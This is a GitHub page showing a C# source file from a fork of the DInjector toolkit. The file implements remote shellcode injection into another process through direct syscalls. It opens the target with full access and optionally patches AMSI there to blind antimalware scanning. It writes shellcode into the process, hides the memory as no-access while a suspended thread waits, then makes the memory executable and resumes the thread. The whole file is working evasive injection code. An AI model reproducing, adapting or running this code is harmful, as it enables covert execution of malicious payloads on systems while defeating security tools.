forked from trhacknon/DInjector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
RemoteThreadSuspended.cs
168 lines (124 loc) · 5.49 KB
/
RemoteThreadSuspended.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
using System;
using System.Runtime.InteropServices;
using DI = DInvoke;
using static DInvoke.Data.Native;
namespace DInjector
{
class RemoteThreadSuspended
{
public static void Execute(byte[] shellcode, int processID, int flipSleep, bool remoteAm51, bool forceAm51, bool debug = false)
{
#region NtOpenProcess
IntPtr hProcess = IntPtr.Zero;
Win32.OBJECT_ATTRIBUTES oa = new Win32.OBJECT_ATTRIBUTES();
Win32.CLIENT_ID ci = new Win32.CLIENT_ID { UniqueProcess = (IntPtr)processID };
var ntstatus = Syscalls.NtOpenProcess(
ref hProcess,
DI.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS,
ref oa,
ref ci);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtOpenProcess");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtOpenProcess: {ntstatus}");
if (remoteAm51)
AM51.Patch(
processHandle: hProcess,
processID: processID,
force: forceAm51);
#endregion
#region NtAllocateVirtualMemory (PAGE_READWRITE)
IntPtr baseAddress = IntPtr.Zero;
IntPtr regionSize = (IntPtr)shellcode.Length;
ntstatus = Syscalls.NtAllocateVirtualMemory(
hProcess,
ref baseAddress,
IntPtr.Zero,
ref regionSize,
DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE,
DI.Data.Win32.WinNT.PAGE_READWRITE);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtAllocateVirtualMemory, PAGE_READWRITE");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtAllocateVirtualMemory, PAGE_READWRITE: {ntstatus}");
#endregion
#region NtWriteVirtualMemory (shellcode)
var buffer = Marshal.AllocHGlobal(shellcode.Length);
Marshal.Copy(shellcode, 0, buffer, shellcode.Length);
uint bytesWritten = 0;
ntstatus = Syscalls.NtWriteVirtualMemory(
hProcess,
baseAddress,
buffer,
(uint)shellcode.Length,
ref bytesWritten);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtWriteVirtualMemory, shellcode");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtWriteVirtualMemory, shellcode: {ntstatus}");
Marshal.FreeHGlobal(buffer);
#endregion
#region NtProtectVirtualMemory (PAGE_NOACCESS)
uint oldProtect = 0;
ntstatus = Syscalls.NtProtectVirtualMemory(
hProcess,
ref baseAddress,
ref regionSize,
DI.Data.Win32.WinNT.PAGE_NOACCESS,
ref oldProtect);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtProtectVirtualMemory, PAGE_NOACCESS");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtProtectVirtualMemory, PAGE_NOACCESS: {ntstatus}");
#endregion
#region NtCreateThreadEx (CREATE_SUSPENDED)
IntPtr hThread = IntPtr.Zero;
ntstatus = Syscalls.NtCreateThreadEx(
ref hThread,
DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
hProcess,
baseAddress,
IntPtr.Zero,
true, // CREATE_SUSPENDED
0,
0,
0,
IntPtr.Zero);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtCreateThreadEx, CREATE_SUSPENDED");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtCreateThreadEx, CREATE_SUSPENDED: {ntstatus}");
#endregion
#region Thread.Sleep
Console.WriteLine($"(RemoteThreadSuspended) [=] Sleeping for {flipSleep} ms ...");
System.Threading.Thread.Sleep(flipSleep);
#endregion
#region NtProtectVirtualMemory (PAGE_EXECUTE_READ)
oldProtect = 0;
ntstatus = Syscalls.NtProtectVirtualMemory(
hProcess,
ref baseAddress,
ref regionSize,
DI.Data.Win32.WinNT.PAGE_EXECUTE_READ,
ref oldProtect);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtProtectVirtualMemory, PAGE_EXECUTE_READ");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtProtectVirtualMemory, PAGE_EXECUTE_READ: {ntstatus}");
#endregion
#region NtResumeThread
uint suspendCount = 0;
ntstatus = Syscalls.NtResumeThread(
hThread,
ref suspendCount);
if (ntstatus == NTSTATUS.Success)
Console.WriteLine("(RemoteThreadSuspended) [+] NtResumeThread");
else
throw new Exception($"(RemoteThreadSuspended) [-] NtResumeThread: {ntstatus}");
#endregion
Syscalls.NtClose(hThread);
Syscalls.NtClose(hProcess);
}
}
}